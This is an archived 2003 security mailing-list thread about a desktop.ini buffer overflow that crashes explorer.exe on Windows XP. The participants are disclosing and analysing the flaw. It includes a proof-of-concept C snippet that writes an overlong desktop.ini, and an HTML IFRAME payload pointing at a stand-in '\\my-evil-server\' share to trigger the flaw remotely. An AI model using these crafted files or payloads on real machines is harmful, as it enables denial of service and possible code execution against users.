Re: Buffer overflow in Explorer.exe

From: Kris Matthews (krismat_private)
Date: Sun May 11 2003 - 13:39:24 PDT

  • Next message: Berend-Jan Wever: "MSIE integer overflows"

    I have been unable to reproduce it in this fashion; my quick-and-dirty
    guess is that explorer.exe does not attempt to interpret that file for
    remote (smb/etc) shares.
    
    However, if you do it from a _local_ share.... It still blows up quite
    nicely. :)
    
    Regards,
    Kristopher
    
    On Sun, 2003-05-11 at 13:55, Berend-Jan Wever wrote:
    > Could this not be done remotely without user interaction except browsing an
    > evil website by using SMB ?
    > <HTML><BODY>
    >   <IFRAME src="\\my-evil-server\">
    > </BODY></HTML>
    > You can make IE browse a harddisk which' contents you control...
    > 
    > I don't have XP so I can't test this. Let me know what you find.
    > 
    > Cheers,
    > 
    > Berend-Jan Wever
    > 
    > ----- Original Message -----
    > From: "Kristopher Matthews" <krismat_private>
    > To: "'Ryan Yagatich'" <ryanyat_private>
    > Cc: <vuln-devat_private>
    > Sent: Friday, May 09, 2003 18:42
    > Subject: RE: Buffer overflow in Explorer.exe
    > 
    > 
    > I have tested and duplicated this behavior on a fully patched/updated
    > Windows XP Pro system.
    > 
    > 1. The overflow is for that particular key, AFAICT.
    > 1a. It will not work for the root (c:/) directory; explorer.exe does not
    > parse 'desktop.ini' for that directory. It will, however, work for any other
    > directory.
    > 2. It crashes explorer.exe (which runs the task bar/start menu, etc) - It
    > looks for all the world like a standard buffer overflow; I believe a more
    > carefully crafted 'desktop.ini' file could be cause for explorer.exe to
    > unintentionally execute arbitrary code.
    > 3. Download and execute untrusted code? Combine this with any of the other
    > popular expoloits for windows; also, it wouldn't be terribly hard to get a
    > user to download a 'desktop.ini' file to their "My Documents" directory (in
    > the guise, of, say, a folder them, which windows does support; e.g.
    > different background, file layout, etc); bam, whenever they open that
    > directory, explorer crashes.
    > 
    > Regards,
    > Kristopher
    > 
    > 
    > -----Original Message-----
    > From: Ryan Yagatich [mailto:ryanyat_private]
    > Sent: Thursday, May 08, 2003 6:28 PM
    > To: at4rat_private
    > Cc: vuln-devat_private
    > 
    > Hi,
    > I don't quite understand the purpose behind this code. It creates
    > a read only file '/aT4r[at]3WDesign.es Security/desktop.ini' with the
    > contents of
    > 
    > [.ShellClassInfo]
    > AAAAAAAAAAAA {x2301}
    > 
    > 
    > And then terminates? I don't have a windows machine available to
    > really explore this any, but what makes that entry in desktop.ini cause
    > this? Furthermore, is this issue only for that particular key or is it
    > generally just key/excessive parameter/missing value size that is
    > affected? And additionally, you mention that explorer will no longer be
    > able to operate when trying to browse the hard disk, but does this mean
    > globally, or when they try to browse the c:/ drive, or just that
    > particular folder?
    > Please send me more information about this, (even if it references
    > past posts that I have missed) so that I can better understand the
    > severity of this. Espcially since to me, I still see it as someone needing
    > to download and execute untrusted software which causes a system crash,
    > and if that were going to happen there are far worse things that can be
    > done besides creating a small text file.
    > 
    > Thanks,
    > Ryan Yagatich
    > 
    > 
    > ,_____________________________________________________,
    > \ Ryan Yagatich                     supportat_private \
    > / Pantek Incorporated                  (877) LINUX-FIX /
    > \ http://www.pantek.com/security        (440) 519-1802 \
    > /       Are your networks secure? Are you certain?     /
    > \___E8354282324E636DB5FF7B8A6EDED51FD02C06C68D3DB695___\
    > 
    > On Wed, 7 May 2003, aT4r InsaN3 wrote:
    > 
    > >This bug allow a malicious an attacker to execute data with privileges of a
    > 
    > >user that is browsing the hard disk with explorer.
    > >
    > >tested against winxp SP1
    > >
    > >example code provided.
    > >
    > <snip>
    > >
    > > strcpy(path,"\\aT4r[at]3WDesign.es Security");
    > > mkdir(path);
    > > SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
    > >
    > > strcat(path,"\\desktop.ini");
    > 
    > > bof=fopen(path,"w");
    > > fputs("[.ShellClassInfo]\n",bof);
    > > memset(evil,'A',BUFF);
    > > fputs(evil,bof);
    > > fclose(bof);
    > <snip>
    > 
    > 
    > 
    > 
    > 
    > 
    > 
    



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